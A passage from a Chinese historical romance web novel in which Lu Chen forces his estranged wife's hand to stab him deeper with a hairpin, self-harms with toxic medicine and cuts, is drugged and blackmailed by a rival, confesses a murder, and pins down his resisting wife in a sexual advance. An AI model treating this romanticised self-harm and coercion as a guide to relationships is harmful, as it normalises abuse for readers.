陆谌缓缓垂眸,视线落在刺入胸前的那支发簪上。 那是前些日子在洮州时,他特意寻匠人打给她的簪子,簪头上雕篆的纹样极是少见,并非寻常花草鸟兽,而是一株穿心莲。 是她受磨不过,总算答允给他诊脉开方时,用过的一味草药,清热,凉血,温肺经。 穿心莲,别名一见喜。 彼时他乍一听闻,只觉这个名字甚是贴切。 她之于他,虽然早已是万箭穿心的痛,可仍教他忍不住一见则喜。 或许今时今日,此言应当颠倒过来讲才对—— 明明是让他一见则喜的心头月,偏偏却成了穿心透骨的伤人箭。 陆谌偏过头,痛苦地闭了闭眼,喉结剧烈地滚动了几下,再睁开时,眸中已是一片骇人的赤红。 长指如铁,一把扣住她想要退缩的细腕,他嗓音嘶哑得不成样子,沉声逼问:“为何不用刀?簪子哪里够?” 折柔指尖不受控地痉挛起来,胸口急促起伏着,本能地想要把手抽回来,却不想被他更用力地扣住,狠狠攥紧。 那双黑眸定定地直视向她,“不会杀人是么,我教你。” 心脏猛然骤缩一瞬,折柔惊慌地抬起头,眼中一片迷蒙水雾,“你做什么?放开!” 陆谌目色沉沉地看着她,一言不发。 发簪终归不如匕首锋利,她只刺入了皮肉三分,便被他胸膛劲瘦的肌理缠裹住,再难往里深进,却不想此刻陆谌发了狠,死死钳住她的手腕,用不容抗拒的力道,带着她一分一分、缓缓地往里刺。 他偏不求个痛快,非要受这般凌迟似的折磨。 折柔手腕剧颤,却分毫挣脱不得,只能无比清晰地感觉着那截尖锐戳入他的肌肤,一层层刺穿血肉,撕裂脉管,刮过肋骨,停顿一霎,继续往里,硬生生贯穿最后那层薄韧的软骨。 她甚至能听见簪尖刮擦过骨膜,发出细微的咯吱声。 折柔惶然挣动起来,“你疯了!你放开我!” 陆谌的呼吸突然断了一拍,喉结剧烈地滚动几下,强自咽下一声闷哼。 却没有半分停下的意思,长指犹如铁铸,近乎疯魔地拽着她的手往自己心口送,一双眼平静得可怕,漆黑幽深,看不出分毫情绪,语气也淡得让人心颤。 “手抖什么?刺得不够深,又如何要人性命?” 银簪转眼又没入半寸,不知刺破了何处血脉,鲜血顿时涌流得更急,两人的手都被染得猩红,温热的血珠洇透了外袍,顺着簪身汩汩滚落,连成一道细密血线。 疼得快要支撑不住,指节不受控地打起颤,他死死地咬住牙关,呼吸越来越沉,唇色惨白,额角青筋狰凸暴起,冷汗不住地从鬓边淌下来,顺着紧绷的下颌线颗颗滴落。 折柔浑身都发起抖来。 她是医者,实是再清楚不过,那银簪此刻已然刺破了胸腔中膈,再深半寸,要么贯穿肺叶,要么伤及心肺大脉,就算华佗再世,也断然无力回天。 他是当真存了死志。 要逼着她杀了他。 为什么? 为什么非要走到今天这一步? 他们从前……从前是那样情深缱绻的少年夫妻啊…… 心脏仿佛被人一把攥紧,胃里骤然涌起一阵翻江倒海的绞痛,酸涩冲上喉头,逼得她几乎要俯身干呕。 折柔再也承受不住,一瞬间拼尽全身的力气,猛地挣开了手,热泪大颗大颗地滚落下来,喉间溢出痛苦的呜咽,“陆秉言,你就是个疯子!疯子!” 剧烈的动作一瞬牵动伤口,陆谌疼得几要蜷缩起来,膝盖一软,整个人重重跌跪到雪地上,挣扎间呼出一口血气。 呼吸仿佛被冷风冻住,折柔抬手捂上心口,指尖深深掐进衣料。 方才还滚烫的恨意此刻化作一颗颗灼泪,断线般砸在雪地上,烫出一个一个小小的窟窿。 陆谌意识有些涣散开来,颤抖着伸出手去留她,拧着眉,哑声喃喃,“妱妱……” 折柔猛地向后退开半步,避开了他染血的手,转过身,泪水早已模糊了视线,她却全然不记得要去擦,只踉跄着朝外走去。 第65章 赔罪 折柔一连两日闭门不出,更是丝毫不理会陆谌,不闻不问,整座别院里虽还住着人,倒是安静得像处空屋。 直到第三日傍晚,陆琬带了萱姐儿过来做客,院中一瞬变得生机活泛起来。 陆琬一瞧见她,还是笑盈盈地唤了声阿嫂,又让嬷嬷快将萱姐儿抱过来,给她拜年。 萱姐儿如今将满一岁,正是被养得圆嘟嘟招人喜欢的时候,眼下还在正月里,年节尚未过完,她周身打扮得极是喜庆,戴着虎头小帽,穿一身红裙红袄,配着赤金璎珞项圈,像模像样地学着合拳拜年,像一块甜软粉糯的红豆年糕,看着便惹人心头欢喜。 折柔也不禁笑起来,伸手摸了摸她光滑柔软的小脸。 陆琬过来时特意从潘楼订了席面,几个过卖捧着食盒鱼贯入内,转眼便摆出了一桌好酒好菜,尽是潘楼时兴的招牌,色味俱是一绝。 折柔原以为陆琬过来是要做说客,心里其实很有几分抗拒,只不过想到从前在上京的时候,陆琬时极少数曾对她抱有善意的人,终究不想因为陆谌而怠慢了陆琬,便只能强打起精神支应。 却不想陆琬甜甜着一张笑脸,闭口不提陆谌,更不替陆谌说什么求和的好话,只是同她热络,与她闲谈些京中趣闻,讲几句家长里短,偶尔又向她打听些洮州风物,几句下来,倒是教她心里松快了不少。 暮色四合,屋内掌了灯烛,两个人一面对桌小酌,一面闲谈漫聊,萱姐儿就在一旁的软毯上玩着自己的彩绘小马,乖巧得紧。 折柔偏头看了一会,脸上不自觉地带上几分笑意,萱姐儿似乎也很喜欢她,见她对自己笑了,把小马一扔,吭哧吭哧地爬过来,扯住她的衣袖,咿咿呀呀地蹭了蹭。 折柔心头倏地一软,忍不住伸出手,将萱姐儿抱起来,放到自己怀里逗弄。 她自己虽不曾生养过,但毕竟曾给不少幼儿诊过病,抱孩子的姿势很是熟稔,萱姐儿在她怀里舒服地拱了拱,伸出一只胖出肉窝儿的小手,手心轻轻贴了贴她的脸颊,忽地咧开嘴,咯咯地笑作一团。 陆谌下了值,回到别院,刚掀开帘子踏入内室,便正正瞧见了这一幕,身形不由一顿。 只觉胸口像是被人狠狠攥了一把,鼻间忽而泛起一阵涩意。 垂在身侧的手攥了又松,骨节隐隐泛白。好半晌,陆谌迈步走进里间,话虽是对陆琬说的,目光却始终凝在烛晕深处那一大一小两个人的身上,“琬娘。” 陆琬闻声抬头,眉眼不由一弯,“阿兄回来啦。” 陆谌淡淡地应了一声。 将一听见陆谌的脚步进来,折柔便已别过了脸,全当屋里没有这么个人。陆谌倒也不以为意,走到近前,逗了逗萱姐儿,又深深地看了眼折柔,便识趣地不再多留,好让她和陆琬能自在说话。 只不过他人虽是出去了,屋内气氛却已然有几分凝滞住。陆琬心知微妙,面上倒是丝毫不显,依旧笑吟吟地为折柔布菜添酒,象牙筷夹起一块金丝肚,轻轻放进折柔面前白瓷碗里。 “阿嫂尝尝这个。”陆琬脸上带笑,极是热情地同她分享,“潘楼近来新上的菜色,听闻掌勺的铛头是北地来的,我想着应当能合阿嫂的胃口。” 折柔也不再多言,只是抬起脸淡淡地笑了笑,低头又饮了两盅酒。 潘楼新出的蔷薇露口味清淡,隐有回甘,她心中不痛快,不觉间就喝得多了些,酒意渐渐上头,人也有些发晕。 饭到最后,酒意渐浓,她倚在引枕上昏昏欲睡,一旁的女使见状,起身便要去搀扶她回房。 “慢着。”陆琬忙出声叫住,转头低声吩咐自家嬷嬷,“快去寻我阿兄过来。” 陆谌得了信,很快便赶了过来。 只是他胸口伤处未愈,不便使力抱她,索性转过身,弯腰将人背了起来。 折柔是当真喝得醉了,几乎没怎么挣扎,便由着他背起来往回走。 陆谌走下石阶,背上的人跟着颠簸了一下,唇瓣不经意擦过他的发尾。 陆谌的脚步骤然一顿。 那年在洮州的城隍庙里,他膝伤将好,一时间少年意气上头,脱口便说要背她走几圈试试。 话一出口便觉不妥,可若是立时反悔反倒更显不对,便也只能硬着头皮强装无事。 她乖乖地教他背起来,小身板绷得紧紧的,揽住他的脖颈一动不动,仿佛连呼吸都屏住,却偏偏在一处颠簸时,装作不小心,偷偷亲了一下他后颈的发尾,蜻蜓点水,一触即离。 她以为他不知晓。 其实他察觉得再分明不过。 只是那时他自己也羞乱得失了方寸,脑中轰得空白一霎,心脏跳得快要冲出去,震得胸腔发疼,生怕一开口就泄露了端倪,只能假装浑然不觉。 如今想来,彼时两个人的心跳都乱作一团,隔着他的背脊贴在一处,又如何分得清到底是谁的心跳急如擂鼓。 夜风簌簌刮过面颊,陆谌眼眶倏而发烫,心脏像被人重重擂了一拳,疼得他几乎弯下腰去,浑身失了力气,险些站立不稳。 折柔醉得迷蒙,浑然不觉他脚下停顿,一直安静地团伏在他背上。 陆谌喉结滚了几滚,将她又往上掂了掂,把人背回到主屋,安置在榻上,给她解了外衫,脱去鞋袜,随后在她身畔躺下。 折柔在夜里被渴醒,刚动了一下,便有温润的茶水送到唇边。 蔷薇露的酒劲不算烈,她只是当时有些昏晕,此刻睡到下半夜,喝了几盏温茶,酒意便已散去大半。 折柔意识清明过来,察觉到陆谌就在身畔,当即翻了个身,面朝向床内,只用脊背对着他。 正要闭眼入睡,忽然听见他低声开口,嗓音涩哑:“萱姐儿似乎很喜欢你。” 折柔微微一顿,抿了抿唇,没有理会。 身后传来窸窣的响动,陆谌的手臂环上她的腰肢,从后抱住她。 他沉默着不再出声,只是将温热掌心轻轻覆在她的小腹上,极缓、极轻地抚摸,一下,又一下。 可这意味已经足够分明。 折柔咬住唇,心头不受控地一阵阵抽痛起来,正想把他的手拍开,颈后却忽而一热,似有一线湿润缓缓流入她的颈窝。 她浑身一僵,呼吸也不由凝滞了一霎。 帷帐内一时静得可怕,只有两个人刻意压抑的喘息声交织在一起,在黑暗中格外清晰。 沉默良久,陆谌在黑暗中低低地开了口:“是我的错……妱妱,我不该……”喉结上下滚动几下,涩声道:“不该教你遭这个罪。” 折柔愣了愣。 须臾,她指尖不自觉地攥紧了被衾,眼泪无声无息地滑落下来,没入鬓间,缓缓渗进枕中。 她原以为时过境迁,那些过去的事她早已不再在意,可乍然听闻这样一句,那些积压在心底的委屈和不甘还是翻涌上来,逼得她眼眶酸热,泪意难止。 陆谌察觉到异样,伸手去她脸颊上抚了抚,一瞬便摸到了湿意。 动作凝住一霎,他稍稍用了些力,将她的身子翻过来,低头吻下去。 折柔偏脸躲开。 他也追过去,却不再用上蛮力,只是慢慢地啄吻,轻轻含吮,舌尖若有似无地描摹过她的唇瓣轮廓,掌心捧住她柔软的脸颊,用拇指缓缓摩挲着,尽是刻意讨好的亲昵意味。 折柔呼吸微乱。 仿佛唯有在绵长幽暗的夜色里,目不能视,看不清彼此的模样,只借着熟悉的身体依偎着,温暖着,方能咂摸出些许往日的缱绻温情来。 次日天光微亮,陆谌起身准备去上值,折柔还未睡醒。 起身想走,却又静坐在榻边,沉默地看了好半晌,最后给她掖了掖被角,方才转去了书房,叫南衡过来帮他换药。 换完药,南衡收拾了染血的细布和药瓶,正要退出去,将走到门口,陆谌忽然从后叫住了他,“把红升丹留下。” 南衡闻言一愣,“郎君,这药今日已经用过了。” 陆谌淡淡地“嗯”了一声,“我知道。” 南衡动作微僵,不自觉地攥了攥药瓶,硬着头皮道:“郎君,陈医正特意交待过,这药里多添了铅汞之物,虽是可以去腐生肌,但一日用量不可过多,否则只会伤得更重。” 陆谌抬眸看了他一眼。 南衡心头一凛,当下也不敢再多劝,只能低了头,把手中的那瓶红升丹送了回去。 陆谌随手接过药瓶,顶开布塞。 一粒朱红色的药丸滚落到掌心里,他指腹稍一用力,将丸药碾作粉膏。 银簪刺入的伤口狭而深,需得用干净的细布制成药捻,将药粉一点一点送入刺伤深处。 陆谌面不改色地将药捻慢慢抵按进去,呼吸渐促,额角青筋暴起,冷汗顺着鬓角滑落下来。 一直忍到那阵灼烧般的药力全然渗进皮肉,化作麻木的钝痛,方才取过一旁的细布,一圈圈缠裹好伤处。 从前是他用错了法子。 ——她分明是吃软不吃硬的性子。 第66章 谈判(含女配,介意慎入…… 年前的积雪还未化尽,上京又落了一夜的鹅毛雪,禁中白皑皑一片,福宁殿中愈发安静,鎏金狻猊兽炉中青烟袅袅。 “想通了?” 听见来人进了大殿,官家端坐在案后,依旧垂眸批阅着条陈,手中动作分毫未停,连眼皮都未曾掀起一下。 谢云舟上前行礼跪下,低声应道:“是。” 官家笔下一顿,这才抬起头来,颇有些意外地打量了他一眼。 他原以为自己这个儿子生性桀骜,自幼又娇惯坏了,这性子还需有日子慢慢磨,竟这么快便乖觉起来,想通了? 殿中静默半晌,官家缓缓搁下手中狼毫,汝瓷笔杆在砚台上轻轻一碰,发出清脆的一声响。 他指节在案上轻扣了扣,“想选哪家贵女,说来听听。” 谢云舟却将脊背挺得笔直,朗声答道:“孩儿不娶。” 简直怀疑自己年岁大了,耳朵已经出了毛病,官家心头怒意一瞬便烧了起来,“啪"”地一声,抬手重重拍了一下龙案,冷声斥道:“那你想通的是什么?!” 谢云舟直挺挺地跪在殿中,如今伤重初愈,一张俊脸上依旧苍白得没什么血色,神色却松快了许多,扯唇笑了笑:“爹爹要孩儿娶亲,说到底,不过是要一个能让朝野上下心服口服、足以承继江山的人选,既如此,也未必只有这一条路可走。” 官家不由微微眯起眼来,“嗯?” “昭儿聪慧仁善,天资聪颖,唯一不足便是尚算年幼,但孩儿愿为其臣佐。如此,孩儿如今的身份足够名正言顺,不必非要入玉碟、正名分。” 官家闻言,眸色骤然一暗,好半晌,方才缓缓靠回到圈椅里,袖笼里的枯瘦指尖在紫檀木扶手上轻轻摩挲,一时没有言语。 殿内沉寂一片,静得能听见铜壶滴漏清晰的滴答声。 良久,他忽然哼笑了一声,那笑却分毫未达眼底,甚至隐有几分凉意,“你倒是……想得周全。” 谢云舟分毫不惧,跪在殿中,神色平静。 “罢了。”官家闭了闭眼,再睁开时已瞧不出到底是何心思,只曼声道:“先过了春享,教你认祖归宗,余事,容后再议。” 不多时,殿中的消息便经由皇城东南角,悄无声息地送入了三皇子府。 “官家前日召见了礼部尚书和太常寺卿,似在商议二月太庙的春享事宜,少府监也已得了令,着手赶制亲王礼服……”小黄门跪伏在地,停顿片刻,偷眼觑了觑李桢的脸色,小声继续道:“奴婢教人暗中打探过,那尺寸……正正是依着小郡王的身量来的。” 打发走了小黄门,李桢猛地将茶盏掼在地上,顿时瓷片四溅,“怪不得那般偏心,原来我这十几年骂他野种都骂对了!” 一旁的幕僚心头焦急,冷汗涔涔而下:“殿下可有打算?难不成……难不成咱们就眼睁睁看着凭空冒出来一个……” 李桢却忽而阴恻恻地笑了下。 “若无意外,这一遭西羌使团入京求娶和亲的,应当是那二王子李保吉,说起来,他和谢云舟倒是有一桩杀兄血仇,或许……能借这些蛮族之手,替我除了碍眼之人呢。” ** 上京入夜,潘楼里四角燃起明灯,烛影摇红,暖意融融。行首坐在阁中象牙簟的地衣上,掐着红牙板浅唱低吟,“愿君长似春庭柳,岁岁东风第一青……” 这行首近来在州北瓦子风头正盛,一双眼波盈盈如春水,软语呢喃婉转,一曲终了,席上众人纷纷喝起彩来。 陆谌倚坐在案后,心里早已有些不耐,可今日是顾弘简叔父升迁拔擢的喜宴,陆琬娘家无人,他既身为兄长,到底不好推脱,只能来此同人客套应酬。 宴上多是簪缨但勋贵人家,大多说些不着边沿的闲话,谁家新纳了小娘,谁家又买到宝刀骏马,他百无聊赖地听了一耳,等到酒过三巡,借口要散散酒气,总算抽身从席间退出去,到隔壁的酒阁里小憩片刻。 楼中的过卖很快过来,送上一碗解酒的木樨汤,又在云鹤香炉中燃起安神的淡香。 那头的席上喧闹鼎沸,笙歌靡靡,哪怕隔了一个酒阁子依旧清晰入耳,实是恼得人心头烦乱。 不知妱妱此刻在做什么。 这个时辰么,大抵是睡了,必然不会等他回去。 先前在席上不便推脱,饮了几盏温酒入腹,此刻倒是灼得胸口的伤处渐渐泛起痛意来,一阵一阵有如针扎火燎,刺得生疼。陆谌微微仰起脸,自嘲地勾唇笑了笑,也不知回去能得她几分心软。 不由思量起来,待会儿回去是忍过今晚,不搅扰她好眠,还是向她说几句软话,磨她给他上药看诊,正出神,身后忽然传来一道温软的轻唤声。 “秉言哥哥。” 陆谌微怔一瞬,眉眼立时冷了下来。 徐有容先前去校场寻过他几回,他皆已教人拦了回去,不知今日又如何寻到了潘楼,此刻正站在不远处,定定地看着他。 “你来做什么?” “我等了许久,可你人一直不在京中,也不知你去了何处……”徐有容本是有些恼恨,此刻当真见到了人,却是越说越觉委屈,她咬了咬唇,低声道:“我没有法子……只能到这里来寻你,能不能替我爹爹向官家求情……” 陆谌扯唇一哂,“不能。” 既然答允过妱妱,和旁人再无半分干系,眼看阁中来了不该来的人,他自然也不欲多留,起身便往外走。 却不想徐有容直接拦住他的去路,仰脸看向他,“我知道那桩盐运案是你主办的,只要你肯向官家求情,定能让官家容情的!我爹爹他年纪大了,若是当真流放去岭南,那样蛮荒僻远之地,我怕……我怕他路上受不住……” “你并非不知晓,徐崇曾害得我父身死监牢,陆家败落不振,你来寻我求情,是找错了人。” 徐有容脸色一白,不由暗自攥紧了拳,“你从前明明不是这般待我的,你说过去的事已经不重要,还说要娶我,那些算什……” “算利用。”不待她说完,陆谌直接开了口,冷声打断,“我对你,从始至终都是利用,为的就是让徐崇对我少些防备,仅此而已。徐家待我亦是如此,先前徐崇默许你同我来往,存的是甚么心思,你又何尝不是心知肚明。” 徐有容顿时愣住。 陆谌的耐心早已耗尽,见她定住不动,索性绕过了她,抬步便要离开。 却不想,他站定不动还好,这一动,眼前竟忽而一黑,小腹中猛地腾起了一团邪火,那股炙燥之意瞬间直冲向四肢百骸,在血脉里激荡开来,让他脚下也随之踉跄了一下。 前后只稍稍反应了一霎,心头便陡然生出一阵高涨的怒意,此刻他如何还能不明白,这间酒阁中必有下作手段,不是香料,便是那碗解酒汤。 徐有容咬了咬唇,伸手过去想要搀扶,陆谌却猛地撤开一步,避开她伸来的双手,甚至不曾教她碰到半片衣角,径直往酒阁外走去。 徐有容站在一旁,忍不住抬眼看他。 他不似京中贵胄子弟的靡靡之气,大抵是因着在军中打磨过,别有一番青年的英武挺拔,很洗练,所以那日宫宴之上,她一眼就在人群中看见了他。 却不想如今他竟能冷漠得这样可怕,陌生得好似她从未真正认识过他一般。 眼看陆谌就要去推开虚掩的阁门,再犹豫便没有机会了。 “陆秉言,你站住!” 徐有容眼眶发红,哽咽着颤声道:“你若是迈出这道门,今日宴上的人便都会知晓,你对我强逼不成,反伤人命!” 陆谌一怔,拧着眉回过头,额前已然浸透了一片热汗,眼神却冷厉如寒芒。 徐有容被他的眼神吓得一个激灵,却仍是强撑着胆子扯乱了鬓发,颤着手用珠钗抵住脖颈,细锐的钗头瞬间刺入皮肉,映着阁中明亮摇曳的烛火,白皙的肌肤上缓缓渗出了一线血珠,“我,我没有骗你……” 冷着眼沉默一霎,陆谌的声音彻底寒了下来,“徐十六娘,看在从前你尚算无辜的份上,我只同你说最后一句。徐崇一案已成定局,但你还有阿姐可去投靠,莫让你爹娘的脏血污了你最后的体面。” 徐有容咬紧了唇,眼中泛起泪意,浑身都在不受控地发着抖。 她又何尝不知是羞耻? 自从记事起,她便是显贵高门的骄女,是爹爹阿娘捧在手心长大的宝珠,今日这般行事,她心中早已难过羞耻得快要死掉。 可她当真没有法子了,爹爹被关在在刑部的大狱里,就连姐夫也自身难保,她只能抛却了全部的尊严和体面,豁出去做这最后一搏。 她竭力压抑着心中的羞耻痛苦,嗓音止不住地发颤,哽咽出声,“这香,这香性子极烈,是没有解药的……” “倘若秉言哥哥肯出手相助,容娘心中感激,无以为报,愿,愿为秉言哥哥纾解难过……可若是你决意不肯答允,我也只能行此下策……这宴上人多眼杂,以你这副形容出去,不出今晚京中便会传遍,上将军酒后失德,意图借我爹爹的安危逼迫强欺,容娘不甘受侮,只能自尽以保清白……” 陆谌冷冷地扫了她一眼,抬脚便走。 徐有容本以为能有几分成算,却不想他竟丝毫不为所动,错愕过后,急忙追上几步:“只要你出门去,我立时便舍了这条性命,我家中女使就等在外头,她会唤人过来,不待你走出这潘楼,便会百口莫辩……” 言官弹劾于他而言算不得什么,只是万不能再教妱妱生出半分误会。 指节狠狠攥紧门框,用力得泛起了青白,陆谌强忍住血脉里的那股四处冲撞、几欲喷薄而出的燥烈,站定回头。 徐有容见他脚下停住,眼睫不由地微微颤了颤,既轻缓又柔顺地唤了一声,示弱一般呜咽:“秉言哥哥……” 陆谌眸光一瞬变得冷冽无比,咬牙扯了扯唇角,露出一抹讥诮凉薄的笑意,“十六娘虽是孝心可嘉,救父心切,可你阿娘若是在天有灵,看到你今日之谋算,只怕是要死不瞑目。” 徐有容闻听此言,浑身忽地一颤,陡然间,一个可怕至极的念头不受控制地浮上来。 她下意识抬眼看向他,几乎不敢置信,嗓音颤抖得几不成调,“我阿娘……她,她……” 陆谌看出她的怀疑,薄唇微动,“不错。” 似是犹觉不够,他继续开口,语气淡漠得教人心惊:“我亲自动的手。” 徐有容惶然睁大了眼,唇瓣开了又合,合了又开,不知是在问他,还是在问自己,喃喃问道:“为什么?” 下一瞬,她回过神来,通红着双眼,猛地站起身来,厉声质问:“为什么?为什么要杀我阿娘!” “她心思阴毒,算计我妻,我自然容她不得。”陆谌扯唇冷笑,凝睇她片刻,眼神凉薄得显出几分残忍:“你我之间,是深得不能再深的血海深仇,你大可为自己选这么个死法,又或是自诬失身于我,只是不知来日九泉之下,可否还有颜面去见你阿娘。” 徐有容脸上一瞬变得惨白,所有血色被抽得一干二净,整个人颓然失了力气,跌倒在地上,浑身冷如寒冰,肺腑痉挛着,俯身一阵阵干呕起来。 陆谌看也不曾看她一眼,拔脚将她撇在一旁,冷沉着脸疾步出了酒阁,没有分毫停滞,匆匆往楼下走去。 那香炉里添的不知是何等下作东西,药性又急又猛,前后只不过须臾,将将走出潘楼,他已经快要支撑不住,浑身烧热,眼前渐发模糊,脚下几乎不停使唤,每走一步都要费尽力气。 好在潘楼离别院不远,很快回到了府上,亲卫半扶半抱地将他送进前院浴房,又急急唤人取了两大桶碎冰和数盆冷雪过来。 陆谌身上的衣物尚未除尽,便已直接跨入装满浮冰的浴桶中,却不想这药性实是太烈,冷水里浸了半晌,也不能解脱分毫,几乎全然压不住血脉里窜动的火。 不够。 根本不够。 他索性屏气埋头没入水中,不知熬了多久,恍惚间,竟觉有一双柔软的手抚上他额头,指尖微凉,柔软,带着淡淡的杏花香。 “妱妱……” 陆谌猛地睁开眼,伸手却只抓到一把浮冰。 亲卫守在一旁,眼见着不成,转身就往主屋跑,“属下这就去请娘子过来!” “站住!” 身后猛然一声厉喝。 亲卫心头一惊,顿时定在原地。 陆谌已经苦熬到濒临崩溃,周身如遭火焚,肌肤处处都炙痛难当,热汗大颗大颗地从鬓边滚落下来,只勉强撑起一丝神智,哑声道:“再去取冰……不得教她知晓……” 第67章 错认 夜色深浓,半弯的蛾眉月高高悬在穹际,泻下一地清辉。 折柔早已上榻安眠,睡意朦胧间,却被院中一阵阵杂乱的声响吵醒。 此处别院占地不阔,冬日里窖冰的暗井就在后院的西北角,离主屋不远,护卫来往的动静在这阗寂的深夜里格外清晰入耳。 折柔在榻上迷糊中翻了个身,扯起锦被裹了裹,正想要继续睡,屋门却被人急急敲响。 “娘子可歇下了?” 是南衡的声音,隐隐有些紧绷。 折柔慢慢睁开眼,拥被坐起身来:“出了何事?” 屋外安静了一瞬,南衡迟疑的声音随即响起来,“娘子,有急事,可否开门,容属下当面详禀?” 折柔顿了顿,应了一声好,“你稍等。” 她起身穿好衣裳,下榻穿鞋,随手挽了个发髻,走去开门。 却不想刚一推开房门,就见南衡直挺挺地跪了下来,院中月光清冽,映出他额前细密的汗珠,那张脸上的神色焦灼异常。 “郎君不知出了何事,突然间发起高热,一直唤人送冰,今早属下给郎君换药的时候,看见那伤口还生着红疡,这般生生浸在冰水里泡着,只怕要出大碍,还求娘子救命!” 眼下这时辰虽晚了些,但上京不设宵禁,此刻去外头医馆也能请来郎中,折柔下意识地蹙了蹙眉,不想过多理会。 南衡见她犹豫,索性心一横,俯身就要向下叩首,“娘子!” 折柔不由一惊,伸手想去拦,南衡却已经结结实实地拜了下去。 沉默一霎,她抿了抿唇,“何必如此,我去便是。” 见她总算松口应允,南衡不由暗暗呼出了一口气,紧绷的肩背也微不可察地松懈了几分。 事急从权,大不了等郎君清醒以后,他自去认罪受罚便是。 当即不再耽搁,南衡利落地站起身,引着折柔将她送去前院。 薄薄的一层积雪覆满了青石小径,在月光下折出清冷的微光。 折柔走进书房,就见浴间里只遥遥地点了两支灯烛,在潮湿的墙壁上投下摇曳的暗影,屏风后的光线越发昏昧,雾蒙蒙的一团。 “陆秉言?”折柔走进去,站在屏风后,轻唤了一声。 里间却无人应声,只隐约听得见水珠滴答的轻响。 折柔不由蹙了蹙眉,从案上擎起一支烛台,慢慢绕过屏风,走近了些,抬头看过去。 陆谌正闭目仰靠在浴桶里,眉心紧蹙,喉结峥凸,一条手臂湿淋淋地探出来,脱力般搭在桶沿,水珠顺着紧绷的肌理缓缓滴落,浴桶中水波轻荡,浮冰未消,随着他胸口的微微起伏,在水面上不停地打着转,碰撞出细碎的脆响。 见他呼吸虽沉,但尚算平稳,折柔不自觉地松了一口气,唇瓣微张了张,正想再唤他一声,却忽然嗅到空气里一股若有似无的腥甜气味。 心下迟疑一瞬,借着烛光照过去,昏黄的光晕映亮了里间的方寸之地。 是血。 烛光摇曳,那条瘦削劲实的小臂上伤痕交错,有旧痕,也有新伤,像是被瓷片割破,伤口处皮肉狰狞翻卷,血珠混杂着冰水,一滴一滴地顺着修长的指缝淌落下来,在青砖地上积成一滩淡红。 “陆谌!”折柔手一抖,烛台险些脱手,她不由地睁大了双眼,惶然失声,“你……你又做甚么?” 似是恍惚间听见了她的声音,陆谌极慢、极慢地睁开眼,吃力地朝她看过来。 他脸上湿漉漉的一片,分不清是热汗还是冷水,墨色的碎发已被浸得透湿,凌乱地贴在苍白的额前,眼尾泛着不正常的赤红,眼神也迷蒙涣散得厉害,飘忽了好半晌,方才勉强凝起一丝清明,却仿佛连眼前的人是谁都辨不分明。 折柔心口猛地一紧,顿觉情形不妙,“……陆秉言?” 他依旧不应声。 人命当前,哪里还顾得上先前的怨恼,她立时伸手去探他的脉息。 陆谌明明在冷水中浸了这许久,她却只在将一触到腕间时感到湿冷,指腹稍作停留,便察觉他肌肤滚烫得骇人。 像是中了药。 折柔神色微变,暗自稳了稳心神,下意识地放轻了声音,低声吩咐道:“你且忍忍,莫要乱动,我这便去叫人给你煎药,喝两副清热利下的方子就好了。” 眼见事出紧急,她也不敢再有耽搁,交代完便匆匆转身往外走。 陆谌忍耐着煎熬到此刻,意识早已变得模糊混沌,耗尽仅剩的一分神智,也只能勉强辨出身旁说话的人是她。 可认不出还好,这一认出来,反倒让身体里那股燥烈窜得更旺,如同泼下一锅滚油,邪火霎时轰燃而起,眨眼间烧成燎原之势。 折柔将将走到门口,指尖刚要搭上门棂,忽听身后传来“哗啦”一声巨响,似是有冰水泼溅到了地上,在寂静的浴房里尤为清晰。 折柔心头倏地一跳。 就在她出神愣怔的刹那,身后忽有阵劲风挟着水汽掠过来,一条湿漉光裸的手臂自她耳侧横穿而过,“砰”地一声重重将门板按合关严。 几滴冰凉的水珠飞溅到脸颊上,激得她浑身一颤。 还不及她惊呼出声,整个人便被一股蛮力扳转过来,脊背骤然撞上坚硬的木门,下一瞬,陆谌一把将她捞进怀里,滚烫的身子紧紧压覆上来,将她死死抵困在门板和胸膛之间。 陆谌的呼吸愈发急沉,体温炙烫灼人,哪怕隔着几层衣衫,她也能无比清晰地感受到他剧烈的心跳。 “妱妱……别走……” 湿濡的热意缠裹在耳畔,折柔知晓他情形不对,抬起手去推他热硬的胸膛,低声哄道:“你忍一忍,我去煎……唔……” 话未说完,陆谌已然忍耐不住,一手掌住她纤细的腰肢,迫着她越发贴近自己,一手扣住她的后脑,低头寻到她温软的唇瓣,不由分说地吻了下来。 呼吸纠缠间,心脏跳得急促起来,一阵阵直撞得胸腔生疼,折柔愈发感到不安,本能地挣扎了几下,呜咽出声,“陆秉言,你醒醒!” 察觉到怀里人温凉柔软的挣动,反倒撩起他身体深处愈加难以自控的欲望,额角的青筋突突急跳,陆谌彻底失了控,单手便将她拦腰抱起来,疾步走出了浴房。 外间是书房,只有一张用来小憩的竹榻,容不下两个人,陆谌看也未看,抱着人径直走到桌前,抬手扫去案上的杂物,将她放了上去。 纸墨笔砚噼里啪啦地散落一地,四下里顿时一片狼藉。 折柔还未回过神,后背已经贴上坚硬的案面,她慌忙撑起身子,身前却忽地一凉,炙热的薄唇随即压覆下来,烫灼得她猛然一个激灵。 她心头发慌,说不清是惧怕还是旁的什么,眼中不受控地溢出泪来,眼见挣不过陆谌的力气,当即狠狠一口咬住他的肩头。 她并非是迂腐自苦、非要倔着让自己受罪的性子,更何况他们夫妻相伴多年,这等事早已熟稔至极,可眼下这般境况断然不成,陆谌失控得教人害怕,她心中只觉惶恐,全然没有准备。 陆谌疼得眉心一拧,下意识地抬起头,正正对上一双隐忍含泪的秀眸,眼前微微地晕眩一霎,让他忽然想起那日的质问—— “在你心中,我寻你,只是为了这等事?” “不然呢?” 不过是轻飘飘的三个字,却仿佛缠裹着风雪的凉意,如同一柄冰刃直插心头,将混沌的神智撕开一道裂口。 陆谌浑身猛地僵住,人还在急促地低喘着,动作却硬生生停顿了下来。 “妱妱……”咬紧牙关平复许久,他颤抖着将人搂进怀里,与她额头相抵,薄唇轻轻碰了碰她湿润的睫毛,声音哑得几不可闻,“我本不想教你知晓……” 指节攥得咯咯作响,大颗大颗的汗珠顺着下颌滴落下来,在她散乱的衣襟上团团洇开。 好半晌,陆谌喉结艰难地滚了滚,捉住她细软的手腕,指腹轻轻摩挲,“帮我一回……” 折柔不自觉地掐紧掌心,忽又想起他左臂上一道道触目惊心的狰狞划痕,心头一时滋味错杂,抿了抿唇,低着头偏过脸去。 低喘着等了片刻,见她似乎不甚抗拒,陆谌喉结微滚,手上用了几分力道,带着她探入自己早已湿透的衣襟。 温凉的指尖滑过块垒分明的劲瘦腰腹,瞬间撩起一阵阵酥麻的战栗,薄肌不受控地收缩一瞬。 